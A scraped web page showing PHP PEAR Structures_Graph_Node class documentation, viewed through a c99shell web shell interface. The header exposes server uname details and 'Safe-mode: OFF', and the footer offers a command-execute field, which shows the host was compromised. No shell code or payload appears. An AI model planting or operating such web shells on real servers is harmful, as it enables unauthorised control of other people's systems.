Software: Apache. PHP/5.3.29 uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 
 Safe-mode: OFF (not secure) /opt/cpanel/ea-php51/root/usr/share/doc/pear/Structures_Graph/docs/html/Structures_Graph/   drwxr-xr-x  | |
| Viewing file:     Select action/file-type: Class Structures_Graph_NodeDescription 
	
	The Structures_Graph_Node class represents a Node that can be member of a graph node set. A graph node can contain data. Under this API, the node contains default data, and key index data. It behaves, thus, both as a regular data node, and as a dictionary (or associative array) node. Regular data is accessed via getData and setData. Key indexed data is accessed via getMetadata and setMetadata. Located in /Structures/Graph/Node.php (line 57) Method Summary 
		
		
											Structures_Graph_Node
										Structures_Graph_Node
										()
									 
								
				
								
				
								
				
											mixed
										&getData
										()
									 
								
				
								
				
								
				
											array
										getNeighbours
										()
									 
								
				
											integer
										inDegree
										()
									 
								
				
								
				
											integer
										outDegree
										()
									 
								
				
								
				
								
				
								
				
							Methods 
		
		
		Constructor Structures_Graph_Node (line 78)
	  
	
	
Constructor 
		Structures_Graph_Node
		
			Structures_Graph_Node
		
				()
			 
	
		
		
	
		connectsTo (line 275)
	  
	
	
Test wether this node has an arc to the target node 
		boolean
		
			connectsTo
		
					(mixed &$target)
			 
	
		
		
	
		connectTo (line 236)
	  
	
	
Connect this node to another one. If the graph is not directed, the reverse arc, connecting $destinationNode to $this is also created. 
 
		getData (line 119)
	  
	
	
Node data getter. Each graph node can contain a reference to one variable. This is the getter for that reference. 
		mixed
		
			&getData
		
				()
			 
	
		
		
	
		getMetadata (line 171)
	  
	
	
Node metadata getter Each graph node can contain multiple 'metadata' entries, each stored under a different key, as in an associative array or in a dictionary. This method gets the data under the given key. If the key does not exist, an error will be thrown, so testing using metadataKeyExists might be needed. 
		mixed
		
			&getMetadata
		
					(string $key, [boolean $nullIfNonexistent = false])
			 
	
			
 
		getNeighbours (line 262)
	  
	
	
Return nodes connected to this one. 
		array
		
			getNeighbours
		
				()
			 
	
		
		
	
		inDegree (line 309)
	  
	
	
Calculate the in degree of the node. The indegree for a node is the number of arcs entering the node. For non directed graphs, the indegree is equal to the outdegree. 
		integer
		
			inDegree
		
				()
			 
	
		
		
	
		metadataKeyExists (line 151)
	  
	
	
Test for existence of metadata under a given key. Each graph node can contain multiple 'metadata' entries, each stored under a different key, as in an associative array or in a dictionary. This method tests whether a given metadata key exists for this node. 
		boolean
		
			metadataKeyExists
		
					(string $key)
			 
	
			
 
		outDegree (line 333)
	  
	
	
Calculate the out degree of the node. The outdegree for a node is the number of arcs exiting the node. For non directed graphs, the outdegree is always equal to the indegree. 
		integer
		
			outDegree
		
				()
			 
	
		
		
	
		setData (line 134)
	  
	
	
Node data setter Each graph node can contain a reference to one variable. This is the setter for that reference. 
		mixed
		
			setData
		
					(mixed $data)
			 
	
		
		
	
		setGraph (line 104)
	  
	
	
Node graph setter. This method should not be called directly. Use Graph::addNode instead. 
 
		setMetadata (line 214)
	  
	
	
Node metadata setter Each graph node can contain multiple 'metadata' entries, each stored under a different key, as in an associative array or in a dictionary. This method stores data under the given key. If the key already exists, previously stored data is discarded. 
		void
		
			setMetadata
		
					(string $key, mixed $data)
			 
	
			
 
		unsetMetadata (line 196)
	  
	
	
Delete metadata by key Each graph node can contain multiple 'metadata' entries, each stored under a different key, as in an associative array or in a dictionary. This method removes any data that might be stored under the provided key. If the key does not exist, no error is thrown, so it is safe using this method without testing for key existence. 
		void
		
			unsetMetadata
		
					(string $key)
			 
	
			
 Documentation generated on Fri, 30 Jan 2004 16:37:29 +0000 by phpDocumentor 1.2.3  | 
:: Command execute ::  | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.001 ]--  |